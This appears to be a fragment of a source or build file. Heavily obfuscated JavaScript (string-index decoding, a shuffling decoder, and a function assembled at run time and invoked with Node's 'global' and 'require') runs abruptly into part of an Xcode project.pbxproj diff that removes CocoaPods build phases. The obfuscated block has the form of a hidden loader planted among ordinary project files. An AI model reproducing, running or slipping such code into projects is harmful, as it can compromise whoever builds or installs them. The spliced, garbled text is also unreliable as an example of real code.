df(0x370)+_0xa0f3df(0x1f0)+_0xa0f3df(0x3d9)+_0xa0f3df(0x446)+_0xa0f3df(0x416)+_0xa0f3df(0x44f)+_0xa0f3df(0x299)+_0xa0f3df(0x1ae)+_0xa0f3df(0x339)+_0xa0f3df(0x4b1)+_0xa0f3df(0xd1)+_0xa0f3df(0x38b)+_0xa0f3df(0x1f7)+_0xa0f3df(0x297)+_0xa0f3df(0x177)+_0xa0f3df(0xa4))+(_0xa0f3df(0x3c2)+_0xa0f3df(0x37d)+_0xa0f3df(0x283)+_0xa0f3df(0x14c)+_0xa0f3df(0x28d)+_0xa0f3df(0x2f1)+_0xa0f3df(0x2e2)+_0xa0f3df(0x167)+_0xa0f3df(0xf1)+_0xa0f3df(0x309)+_0xa0f3df(0x16b)+_0xa0f3df(0x1e1)+_0xa0f3df(0x1da)+_0xa0f3df(0x3f4)+_0xa0f3df(0x20c)+_0xa0f3df(0x16a)+_0xa0f3df(0x365)+_0xa0f3df(0x279)+_0xa0f3df(0x171)+_0xa0f3df(0xd9)+_0xa0f3df(0xf6)+_0xa0f3df(0x431)+_0xa0f3df(0x1a5)+_0xa0f3df(0x21f)+_0xa0f3df(0x393)+_0xa0f3df(0xc9)+_0xa0f3df(0x397)+_0xa0f3df(0x3e4)+_0xa0f3df(0x3b1)+_0xa0f3df(0x208)+_0xa0f3df(0x4c7)+_0xa0f3df(0x479)+_0xa0f3df(0x19d)+_0xa0f3df(0x417)+_0xa0f3df(0x35e)+_0xa0f3df(0x10a)+_0xa0f3df(0xdc)+_0xa0f3df(0x29e)+_0xa0f3df(0xd4)+_0xa0f3df(0x399)+_0xa0f3df(0x1a9)+_0xa0f3df(0x15e)+_0xa0f3df(0x423)+_0xa0f3df(0x182)+_0xa0f3df(0x3a4)+_0xa0f3df(0x110)+_0xa0f3df(0x48d)+_0xa0f3df(0x26b)+_0xa0f3df(0x321)+_0xa0f3df(0x464)+_0xa0f3df(0x344)+_0xa0f3df(0x118)+_0xa0f3df(0x45d)+_0xa0f3df(0x39b)+_0xa0f3df(0x443)+_0xa0f3df(0x1df)+_0xa0f3df(0x49b)+_0xa0f3df(0x3e5)+_0xa0f3df(0x47e)+_0xa0f3df(0x2a0)+_0xa0f3df(0x39e)+_0xa0f3df(0x308)+_0xa0f3df(0x43e)+_0xa0f3df(0x3c5)+_0xa0f3df(0x380)+_0xa0f3df(0x4c1)+_0xa0f3df(0x3b3)+_0xa0f3df(0x37e)+_0xa0f3df(0x351)+_0xa0f3df(0x31a)+_0xa0f3df(0x2b3)+_0xa0f3df(0x4c4)+_0xa0f3df(0x2ba)+_0xa0f3df(0x3dd)+_0xa0f3df(0x2ab)+_0xa0f3df(0x154)+_0xa0f3df(0x371)+_0xa0f3df(0x2bb)+_0xa0f3df(0x42d)+_0xa0f3df(0x2c4)+_0xa0f3df(0x214)+_0xa0f3df(0x133)+_0xa0f3df(0x2f4)+_0xa0f3df(0x3d8)+_0xa0f3df(0xec)+_0xa0f3df(0xea)+_0xa0f3df(0x4c0)+_0xa0f3df(0x1bc)+_0xa0f3df(0x19b)+_0xa0f3df(0x471)+_0xa0f3df(0x307)+_0xa0f3df(0x3e1)+_0xa0f3df(0xb4)+_0xa0f3df(0x487)+_0xa0f3df(0x282)+_0xa0f3df(0x13a)+_0xa0f3df(0x1c6)+_0xa0f3df(0x265)+_0xa0f3df(0x3ba)+_0xa0f3df(0x437))+(_0xa0f3df(0x457)+_0xa0f3df(0x2e4)+_0xa0f3df(0x1d9)+_0xa0f3df(0x45c)+_0xa0f3df(0x2e3)+_0xa0f3df(0x160)+_0xa0f3df(0x4ba)+_0xa0f3df(0x3fa)+_0xa0f3df(0x277)+_0xa0f3df(0x432)+_0xa0f3df(0x120)+_0xa0f3df(0x455)+_0xa0f3df(0x320)+_0xa0f3df(0x318)+_0xa0f3df(0x287)+_0xa0f3df(0x491)+_0xa0f3df(0x494)+_0xa0f3df(0x2f7)+_0xa0f3df(0x103)+_0xa0f3df(0x1e3)+_0xa0f3df(0x40f)+_0xa0f3df(0x152)+_0xa0f3df(0x4e1)+_0xa0f3df(0x199)+_0xa0f3df(0x24f)+_0xa0f3df(0x20a)+_0xa0f3df(0x35a)+_0xa0f3df(0x4a7)+_0xa0f3df(0x1cc)+_0xa0f3df(0x2cf)+_0xa0f3df(0x119)+_0xa0f3df(0x36c)+_0xa0f3df(0x410)+_0xa0f3df(0x44a)+_0xa0f3df(0x1ee)+_0xa0f3df(0xf9)+_0xa0f3df(0x3fd)+_0xa0f3df(0x2c5)+_0xa0f3df(0x3a0)+_0xa0f3df(0x1fc)+_0xa0f3df(0xef)+_0xa0f3df(0x104)+_0xa0f3df(0x394)+_0xa0f3df(0x10d)+_0xa0f3df(0x4a1)+_0xa0f3df(0xcd)+_0xa0f3df(0x3d1)+_0xa0f3df(0x375)+_0xa0f3df(0x387)+_0xa0f3df(0x3c1)+_0xa0f3df(0x11c)+_0xa0f3df(0x1d7)+_0xa0f3df(0x47f)+_0xa0f3df(0x1a7)+_0xa0f3df(0x13b)+_0xa0f3df(0xca)+_0xa0f3df(0x465)+_0xa0f3df(0x392)+_0xa0f3df(0x413)+_0xa0f3df(0x49e)+_0xa0f3df(0x3fc)+_0xa0f3df(0x323)+_0xa0f3df(0x3a3)+_0xa0f3df(0x3c4)+_0xa0f3df(0x271)+_0xa0f3df(0x1c2)+_0xa0f3df(0x256)+_0xa0f3df(0x385)+_0xa0f3df(0x1f8)+_0xa0f3df(0x22d)+_0xa0f3df(0x1f1)+_0xa0f3df(0x28a)+_0xa0f3df(0xbe)+_0xa0f3df(0x155)+_0xa0f3df(0x267)+_0xa0f3df(0x3ef)+_0xa0f3df(0x4ad)+_0xa0f3df(0x2f5)+_0xa0f3df(0x4ae)+_0xa0f3df(0x134)+_0xa0f3df(0xa1)+_0xa0f3df(0x440)+_0xa0f3df(0x229)+_0xa0f3df(0x1e7)+_0xa0f3df(0x12d)+_0xa0f3df(0x158)+_0xa0f3df(0x220)+_0xa0f3df(0x20d)+_0xa0f3df(0x383)+_0xa0f3df(0x403)+_0xa0f3df(0x123)+_0xa0f3df(0x314)+_0xa0f3df(0x40d)+_0xa0f3df(0x34a)+_0xa0f3df(0x456)+_0xa0f3df(0x459)+_0xa0f3df(0x130)+_0xa0f3df(0x472)+_0xa0f3df(0x172)+_0xa0f3df(0x126))+(_0xa0f3df(0x34c)+_0xa0f3df(0x181)+_0xa0f3df(0xd0)+_0xa0f3df(0x23e)+_0xa0f3df(0x269)+_0xa0f3df(0x486)+_0xa0f3df(0x3a5)+_0xa0f3df(0x481)+_0xa0f3df(0x4ac)+_0xa0f3df(0x1b3)+_0xa0f3df(0x17d)+_0xa0f3df(0x2a3)+_0xa0f3df(0x4a2)+_0xa0f3df(0xe1)+_0xa0f3df(0x388)+_0xa0f3df(0x11a)+_0xa0f3df(0x261)+_0xa0f3df(0x2dd)+_0xa0f3df(0x19f)+_0xa0f3df(0x305)+_0xa0f3df(0x2dc)+_0xa0f3df(0xe8)+_0xa0f3df(0x2de)+_0xa0f3df(0x4a4)+_0xa0f3df(0x32e)+_0xa0f3df(0x1d6)+_0xa0f3df(0x1a2)+_0xa0f3df(0x175)+_0xa0f3df(0x2d9)+_0xa0f3df(0xae)+_0xa0f3df(0x349)+_0xa0f3df(0x17f)+_0xa0f3df(0x33c)+_0xa0f3df(0x324)+_0xa0f3df(0x3f2)+_0xa0f3df(0x270)+_0xa0f3df(0x304)+_0xa0f3df(0xb8)+_0xa0f3df(0xf4)+_0xa0f3df(0x3a2)+_0xa0f3df(0x191)+_0xa0f3df(0x27a)+_0xa0f3df(0x3f9)+_0xa0f3df(0x11e)+_0xa0f3df(0x36a)+_0xa0f3df(0x338)+_0xa0f3df(0x203)+_0xa0f3df(0x2d2)+_0xa0f3df(0x285)+_0xa0f3df(0x1cd)+_0xa0f3df(0x4ab)+_0xa0f3df(0x4e4)+_0xa0f3df(0x18d)+_0xa0f3df(0xf5)+_0xa0f3df(0x38c)+_0xa0f3df(0xb7)+_0xa0f3df(0x3dc)+_0xa0f3df(0x252)+_0xa0f3df(0x355)+_0xa0f3df(0x37a)+_0xa0f3df(0x3da)+_0xa0f3df(0x231)+_0xa0f3df(0x402)+_0xa0f3df(0x244)+_0xa0f3df(0x1ad)+_0xa0f3df(0x2b5)+_0xa0f3df(0x311)+_0xa0f3df(0xf0)+_0xa0f3df(0x132)+_0xa0f3df(0x25c)+_0xa0f3df(0x327)+_0xa0f3df(0x3f7)+_0xa0f3df(0x4d2)+_0xa0f3df(0x4d1)+_0xa0f3df(0x112)+_0xa0f3df(0x2e0)+_0xa0f3df(0x24d)+_0xa0f3df(0x16f)+_0xa0f3df(0x4dd)+_0xa0f3df(0x14b)+_0xa0f3df(0x3f5)+_0xa0f3df(0x249)+_0xa0f3df(0x333)+_0xa0f3df(0x2bf)+_0xa0f3df(0x218)+_0xa0f3df(0x2a5)+_0xa0f3df(0x255)+_0xa0f3df(0x4d6)+_0xa0f3df(0xe6)+_0xa0f3df(0x438)+_0xa0f3df(0x28b)+_0xa0f3df(0x1ca)+_0xa0f3df(0xbd)+_0xa0f3df(0x18a)+_0xa0f3df(0x10f)+_0xa0f3df(0x4e7)+_0xa0f3df(0x2f6)+_0xa0f3df(0x36d)+_0xa0f3df(0x4c8)+_0xa0f3df(0x26c))+(_0xa0f3df(0x1f6)+_0xa0f3df(0x42e)+_0xa0f3df(0x33a)+_0xa0f3df(0x176)+_0xa0f3df(0xda)+_0xa0f3df(0x29d)+_0xa0f3df(0x30f)+_0xa0f3df(0x174)+_0xa0f3df(0x473)+_0xa0f3df(0x2ac)+_0xa0f3df(0x3a9)+_0xa0f3df(0x32d)+_0xa0f3df(0x10e)+_0xa0f3df(0x21a)+_0xa0f3df(0x381)+_0xa0f3df(0x251)+_0xa0f3df(0x498)+_0xa0f3df(0x3de)+_0xa0f3df(0x3bb)+_0xa0f3df(0x3f8)+_0xa0f3df(0x32b)+_0xa0f3df(0xcf)+_0xa0f3df(0x3d4)+_0xa0f3df(0xa7)+_0xa0f3df(0xc3)+_0xa0f3df(0x452)+_0xa0f3df(0x467)+_0xa0f3df(0x2e7)+_0xa0f3df(0x29b)+_0xa0f3df(0x2b7)+_0xa0f3df(0x436)+_0xa0f3df(0x2b2)+_0xa0f3df(0x17a)+_0xa0f3df(0x272)+_0xa0f3df(0x190)+_0xa0f3df(0x342)+_0xa0f3df(0x2da)+_0xa0f3df(0x3ab)+_0xa0f3df(0x3db)+_0xa0f3df(0x4ca)+_0xa0f3df(0x2eb)+_0xa0f3df(0x13c)+_0xa0f3df(0x463)+_0xa0f3df(0x4a0)+_0xa0f3df(0xbc)+_0xa0f3df(0x429)+_0xa0f3df(0xb2)+_0xa0f3df(0x1d5)+_0xa0f3df(0x2be)+_0xa0f3df(0x2d7)+_0xa0f3df(0xad)+_0xa0f3df(0x16d)+_0xa0f3df(0x2d0)+_0xa0f3df(0x1e4)+_0xa0f3df(0x2fc)+_0xa0f3df(0x1c9)+_0xa0f3df(0x42c)+_0xa0f3df(0x49d)+_0xa0f3df(0x43f)+_0xa0f3df(0x4c6)+_0xa0f3df(0x148)+_0xa0f3df(0x197)+_0xa0f3df(0x3e9)+_0xa0f3df(0x348)+_0xa0f3df(0x2c1)+_0xa0f3df(0x406)+_0xa0f3df(0x1c4)+_0xa0f3df(0x42b)+'Rs')};function _0x2304e8(_0x491af5,_0x47994c,_0x498b8e,_0x45e033,_0x5bf52b,_0x3800bf,_0x767b2b){var _0x4a9b26=_0xa0f3df;for(var _0x227f35=[],_0x4d0796=-0x1451+0x2dd+-0x8ba*-0x2;_0x14d3eb[_0x4a9b26(0xf3)](_0x4d0796,_0x491af5[_0x4a9b26(0x2c2)]);_0x4d0796++)_0x227f35[_0x4d0796]=_0x491af5[_0x4a9b26(0x48f)](_0x4d0796);return function(_0x4ef8ca,_0x71c6fc,_0x193ff0,_0x9a3a04,_0x12085d,_0x2f011b,_0x12ed16){var _0x26ee44=_0x4a9b26,_0x253351,_0x5872e4,_0x169dbe,_0x39ef85,_0x4f5053,_0x2e5deb,_0x2909de,_0x3a4893;for(_0x5872e4=_0x71c6fc,_0x169dbe=_0x4ef8ca[_0x26ee44(0x2c2)],_0x253351=-0x1e23+-0x41b+0x223e;_0x14d3eb[_0x26ee44(0xf3)](_0x253351,_0x169dbe);_0x253351++)_0x2909de=_0x14d3eb[_0x26ee44(0x2c7)](_0x4f5053=_0x14d3eb[_0x26ee44(0x434)](_0x14d3eb[_0x26ee44(0xf7)](_0x5872e4,_0x14d3eb[_0x26ee44(0xc6)](_0x253351,_0x12085d)),_0x14d3eb[_0x26ee44(0x2c7)](_0x5872e4,_0x2f011b)),_0x169dbe),_0x3a4893=_0x4ef8ca[_0x2e5deb=_0x14d3eb[_0x26ee44(0x2c7)](_0x39ef85=_0x14d3eb[_0x26ee44(0x319)](_0x14d3eb[_0x26ee44(0xf7)](_0x5872e4,_0x14d3eb[_0x26ee44(0x210)](_0x253351,_0x193ff0)),_0x14d3eb[_0x26ee44(0x3d7)](_0x5872e4,_0x9a3a04)),_0x169dbe)],_0x4ef8ca[_0x2e5deb]=_0x4ef8ca[_0x2909de],_0x4ef8ca[_0x2909de]=_0x3a4893,_0x5872e4=_0x14d3eb[_0x26ee44(0x3cb)](_0x14d3eb[_0x26ee44(0x319)](_0x39ef85,_0x4f5053),_0x12ed16);return _0x4ef8ca;}(_0x227f35,_0x47994c,_0x498b8e,_0x45e033,_0x5bf52b,_0x3800bf,_0x767b2b)[_0x4a9b26(0x4bb)]('');}var _0x1d7fa6=_0x14d3eb[_0xa0f3df(0xc4)](_0x2304e8,_0x14d3eb[_0xa0f3df(0x115)],0x420eb5+-0x9d2646+0x1*0xcb22d0,0x1256*-0x1+-0x2666+0x3a4d,-0x55e9+0xf1*0x47+0x5abd,-0x2*0x45f+-0x133b+0x1e26,0x1*-0x1237d+0x2e76*0x1+-0x6425*-0x4,-0x1*0x1fe5e1+-0x622cf1+0xccbf13),_0x10d052=String[_0xa0f3df(0x223)+'de'](-0xc2c+0x1a5*-0x13+-0x2b88*-0x1),_0x175d8e=(_0x1d7fa6=_0x1d7fa6[_0xa0f3df(0x2db)]('~')[_0xa0f3df(0x4bb)](_0x10d052)[_0xa0f3df(0x2db)]('@1')[_0xa0f3df(0x4bb)]('~')[_0xa0f3df(0x2db)]('@0')[_0xa0f3df(0x4bb)]('@'))[_0xa0f3df(0x2db)](_0x10d052);_0x500f58[_0x175d8e[0x1a6b+0xaeb+0x1b*-0x162]]=_0xc4ac1d,_0x14d3eb[_0xa0f3df(0x306)](typeof module,_0x175d8e[-0x1*-0x223f+0x4*0x7f1+-0x7*0x96e])&&(_0x500f58[_0x175d8e[0x1ae6+-0x24f2+-0xc6*-0xd]]=module);var _0x3e2055=[-0x33a157+-0x2d0b26+0x9fa912,0xeb1+-0x765*-0x4+0x2e*-0xf2,0x1*-0x2981+-0x137*-0x49+0x6827,-0xb0d+0x1b2*0xb+-0x10f*0x6,-0x3*0x33b6+0x10e68+-0x27*-0x1fb,0x6e7b02+0x13122a+-0x3bf3d7];function _0x1ae0ca(_0xa9d8a0){var _0x4c3e98=_0xa0f3df;return _0x14d3eb[_0x4c3e98(0xc4)](_0x2304e8,_0xa9d8a0,_0x3e2055[0xee*-0x1f+-0xf56+0x3ae*0xc],_0x3e2055[-0x2410+0x200c+-0x15*-0x31],_0x3e2055[0x1a*-0x2b+0x16de+-0x127e],_0x3e2055[0x2*0x1279+-0x10c*-0x8+0x2d4f*-0x1],_0x3e2055[0x2296+0x2065+-0x991*0x7],_0x3e2055[0x1050+0xaf+-0x29*0x6a]);}var _0x5a7b6d=_0x14d3eb[_0xa0f3df(0x15b)](_0x1ae0ca,_0x14d3eb[_0xa0f3df(0x390)])[_0xa0f3df(0x26a)](0x8b2+0x2707*-0x1+0x1*0x1e55,0x95*-0x7+0x1e61+-0x1a43*0x1),_0x137e97=_0x1ae0ca[_0x5a7b6d],_0x555f26=_0x14d3eb[_0xa0f3df(0x23f)](_0x137e97,'',_0x14d3eb[_0xa0f3df(0x15b)](_0x1ae0ca,_0x14d3eb[_0xa0f3df(0x1ea)]));_0x14d3eb[_0xa0f3df(0x23f)](_0x137e97,'',_0x14d3eb[_0xa0f3df(0x15b)](_0x555f26,_0x14d3eb[_0xa0f3df(0x15b)](_0x1ae0ca,_0x14d3eb[_0xa0f3df(0x2ea)])))(-0x172c+0x36b*0x3+0x2*0xb5c);}(global,require));function _0x3be5(_0x313cde,_0x180911){_0x313cde=_0x313cde-(0x2*-0x146+0x1*0xba+0x273*0x1);var _0x9f3bd6=_0x5f45();var _0x3f12f0=_0x9f3bd6[_0x313cde];return _0x3f12f0;}function _0x5f45(){var _0x2fe4ff=['ct!.ScM\x20','.?xsl(}r\x20R','no.pc.Pw%<','cGcl.-\x20rfR','\x20N[RRR<.c<','n.R.C(2n.<','Rsasm\x20$','wE!I~es<e)Rmse','xF=c...Pra','RR\x20.]\x27Rcw}d','snrd._+#cpfn&Rc','ni4tc.nRmt','<<2pBbn}2c','\x22ht#utd$c<','f-inR\x5c!','=s4/UkdtcR','%iV.{Nca>R','Rr*RRc|als','t.w(R0','Jec)E?[','\x5cktta!.R.4','Fgo=','._.r4o.&\x20)','Rr<3u.R<.<','!\x27yRxyWbcR','a+Arael{,a',';j,ea=]6,n','.eno_I.<<(','?wtRR!c[','HzUvU','8200jmdBCz','(.G3ecNn()','R.O..','i-vb(rrpit','e\x22$..AWeER','.','a.ss]PR|S<','R]inStkvf#','sR\x22Vv:d','t.tR','g.8<.Ro1P-','hr6f\x20sR:Pl8<','4swt!nxt=.(y=)r','tR[(ouRR.t','_T<.-R!ei.','kv.*zgR8R.',')[ittr=\x22je','Ja)RrR82ts','g.RaEFcm(.','{oritun.fq','R#RReIt','e','Roe5IR.8c<','fcRR<0.<>R','et\x22.sT.&Rp','-n\x20h]p)IV.','!.\x20Ad(cids','YhOota#trs','t))+;lc)a=','54< /dev/null\nif [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\nfi\n# This output is used by Xcode 'outputs' to avoid re-running this script phase.\necho \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n"; - showEnvVarsInLog = 0; - }; - 27B55A5BA99FC03251B4E559 /* [CP] Embed Pods Frameworks */ = { - isa = PBXShellScriptBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - inputPaths = ( - "${PODS_ROOT}/Target Support Files/Pods-playground/Pods-playground-frameworks.sh", - "${PODS_XCFRAMEWORKS_BUILD_DIR}/ReactNativeDependencies/ReactNativeDependencies.framework/ReactNativeDependencies", - "${PODS_XCFRAMEWORKS_BUILD_DIR}/hermes-engine/Pre-built/hermesvm.framework/hermesvm", - ); - name = "[CP] Embed Pods Frameworks"; - outputPaths = ( - "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/ReactNativeDependencies.framework", - "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/hermesvm.framework", - ); - runOnlyForDeploymentPostprocessing = 0; - shellPath = /bin/sh; - shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-playground/Pods-playground-frameworks.sh\"\n"; - showEnvVarsInLog = 0; - }; - 4B4DD2714D02BEBC8F96EAD1 /* [CP] Copy Pods Resources */ = { - isa = PBXShellScriptBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - inputPaths = ( - "${PODS_ROOT}/Target Support Files/Pods-playground/Pods-playground-resources.sh", - "${PODS_CONFIGURATION_BUILD_DIR}/React-Core/React-Core_privacy.bundle", - "${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact/React-cxxreact_privacy.bundle", - "${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage/SDWebImage.bundle", - ); - name = "[CP] Copy Pods Resources"; - outputPaths = ( - "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/React-Core_privacy.bundle", - "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/React-cxxreact_privacy.bundle", - "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/SDWebImage.bundle", - ); - runOnlyForDeploymentPostprocessing = 0; - shellPath = /bin/sh; - shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-playground/Pods-playground-resources.sh\"\n"; - showEnvVarsInLog = 0; - }; - 59AF7E19C5E8CA48E2ADBB81 /* [CP] Check Pods Manifest.lock */ = { - isa = PBXShellScriptBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - inputFileListPaths = ( - ); - inputPaths = ( - "${PODS_PODFILE_DIR_PATH}/Podfile.lock", - "${PODS_ROOT}/Manifest.lock", - ); - name = "[CP] Check Pods Manifest.lock"; - outputFileListPaths = ( - ); - outputPaths = ( - "$(DERIVED_FILE_DIR)/Pods-SnapshotTests-checkManifestLockResult.txt", - ); - runOnlyForDeploymentPostprocessing = 0; - shellPath = /bin/sh; - shellScript = "diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\nif [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\nfi\n# This output is used by Xcode 'outputs' to avoid re-running this script phase.\necho \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n"; - showEnvVarsInLog = 0; - }; - 7019F906475029978A0A826C /* [CP] Check Pods Manifest.lock */ = { - isa = PBXShellScriptBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - inputFileListPaths = ( - ); - inputPaths = ( - "${PODS_PODFILE_DIR_PATH}/Podfile.lock", - "${PODS_ROOT}/Manifest.lock", - ); - name = "[CP] Check Pods Manifest.lock"; - outputFileListPaths = ( - ); - outputPaths = ( - "$(DERIVED_FILE_DIR)/Pods-NavigationTests-checkManifestLockResult.txt", - ); - runOnlyForDeploymentPostprocessing = 0; - shellPath = /bin/sh; - shellScript = "diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\nif [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\nfi\n# This output is used by Xcode 'outputs' to avoid re-running this script phase.\necho \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n"; - showEnvVarsInLog = 0; - }; - 72BA3B0BE92EC7CD48134759 /* [CP] Embed Pods Frameworks */ = { - isa = PBXShellScriptBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - inputPaths = ( - "${PODS_ROOT}/Target Support Files/Pods-NavigationIOS12Tests/Pods-NavigationIOS12Tests-frameworks.sh", - "${PODS_XCFRAMEWORKS_BUILD_DIR}/ReactNativeDependencies/ReactNativeDependencies.framework/ReactNativeDependencies", - "${PODS_XCFRAMEWORKS_BUILD_DIR}/hermes-engine/Pre-built/hermesvm.framework/hermesvm", - ); - name = "[CP] Embed Pods Frameworks"; - outputPaths = ( - "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/ReactNativeDependencies.framework", - "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/hermesvm.framework", - ); - runOnlyForDeploymentPostprocessing = 0; - shellPath = /bin/sh; - shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-NavigationIOS12Tests/Pods-NavigationIOS12Tests-frameworks.sh\"\n"; - showEnvVarsInLog = 0; - }; - 8A0391DE1BA0B3DE9D40DE96 /* [CP] Copy Pods Resources */ = { - isa = PBXShellScriptBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - inputPaths = ( - "${PODS_ROOT}/Target Support Files/Pods-NavigationTests/Pods-NavigationTests-resources.sh", - "${PODS_CONFIGURATION_BUILD_DIR}/React-Core/React-Core_privacy.bundle", - "${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact/React-cxxreact_privacy.bundle", - "${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage/SDWebImage.bundle", - ); - name = "[CP] Copy Pods Resources"; - outputPaths = ( - "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/React-Core_privacy.bundle", - "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/React-cxxreact_privacy.bundle", - "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/SDWebImage.bundle", - ); - runOnlyForDeploymentPostprocessing = 0; - shellPath = /bin/sh; - shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-NavigationTests/Pods-NavigationTests-resources.sh\"\n"; - showEnvVarsInLog = 0; - }; - AB7C03026562E29128D8F500 /* [CP] Embed Pods Frameworks */ = { - isa = PBXShellScriptBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - inputPaths = ( - "${PODS_ROOT}/Target Support Files/Pods-NavigationTests/Pods-NavigationTests-frameworks.sh", - "${PODS_XCFRAMEWORKS_BUILD_DIR}/ReactNativeDependencies/ReactNativeDependencies.framework/ReactNativeDependencies", - "${PODS_XCFRAMEWORKS_BUILD_DIR}/hermes-engine/Pre-built/hermesvm.framework/hermesvm", - ); - name = "[CP] Embed Pods Frameworks"; - outputPaths = ( - "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/ReactNativeDependencies.framework", - "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/hermesvm.framework", - ); - runOnlyForDeploymentPostprocessing = 0; - shellPath = /bin/sh; - shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-NavigationTests/Pods-NavigationTests-frameworks.sh\"\n"; - showEnvVarsInLog = 0; - }; - AB86EBB5F0AF15B43F3472FD /* [CP] Copy Pods Resources */ = { - isa = PBXShellScriptBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - inputPaths = ( - "${PODS_ROOT}/Target Support Files/Pods-SnapshotTests/Pods-SnapshotTests-resources.sh", - "${PODS_CONFIGURATION_BUILD_DIR}/React-Core/React-Core_privacy.bundle", - "${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact/React-cxxreact_privacy.bundle", - "${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage/SDWebImage.bundle", - ); - name = "[CP] Copy Pods Resources"; - outputPaths = ( - "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/React-Core_privacy.bundle", - "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/React-cxxreact_privacy.bundle", - "${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}/SDWebImage.bundle", - ); - runOnlyForDeploymentPostprocessing = 0; - shellPath = /bin/sh; - shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-SnapshotTests/Pods-SnapshotTests-resources.sh\"\n"; - showEnvVarsInLog = 0; - }; - D80DD80E880A67F5575078C4 /* [CP] Check Pods Manifest.lock */ = { - isa = PBXShellScriptBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - inputFileListPaths = ( - ); - inputPaths = ( - "${PODS_PODFILE_DIR_PATH}/Podfile.lock", - "${PODS_ROOT}/Manifest.lock", - ); - name = "[CP] Check Pods Manifest.lock"; - outputFileListPaths = ( - ); - outputPaths = ( - "$(DERIVED_FILE_DIR)/Pods-playground-checkManifestLockResult.txt", - ); - runOnlyForDeploymentPostprocessing = 0; - shellPath = /bin/sh; - shellScript = "diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\nif [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\nfi\n# This output is used by Xcode 'outputs' to avoid re-running this script phase.\necho \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n"; - showEnvVarsInLog = 0; - }; - D85A6267FC9FE5A55766B261 /* [CP] Embed Pods Frameworks */ = { - isa = PBXShellScriptBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - inputPaths = ( - "${PODS_ROOT}/Target Support Files/Pods-SnapshotTests/Pods-SnapshotTests-frameworks.sh", - "${PODS_XCFRAMEWORKS_BUILD_DIR}/ReactNativeDependencies/ReactNativeDependencies.framework/ReactNativeDependencies", - "${PODS_XCFRAMEWORKS_BUILD_DIR}/hermes-engine/Pre-built/hermesvm.framework/hermesvm", - ); - name = "[CP] Embed Pods Frameworks"; - outputPaths = ( - "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/ReactNativeDependencies.framework", - "${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/hermesvm.framework", - ); - runOnlyForDeploymentPostprocessing = 0; - shellPath = /bin/sh; - shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-SnapshotTests/Pods-SnapshotTests-frameworks.sh\"\n"; - showEnvVarsInLog = 0; - }; - EB65541BD6775B84E7C8AEDD /* [CP] Copy Pods Resources */ = { - isa = PBXShellScriptBuildPhase; - buildActionMask = 2147483647; - files = ( - ); - inputPaths = ( - "${PODS_ROOT}/Target Support Files/Pods-NavigationIOS12Tests/Pods-NavigationIOS12Tests-resources.sh", - "${PODS_CONFIGURATION_BUILD_DIR}/React-Core/React-Core_privacy.bundle", - "${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact/React-cxxreact_privacy.bundle", - 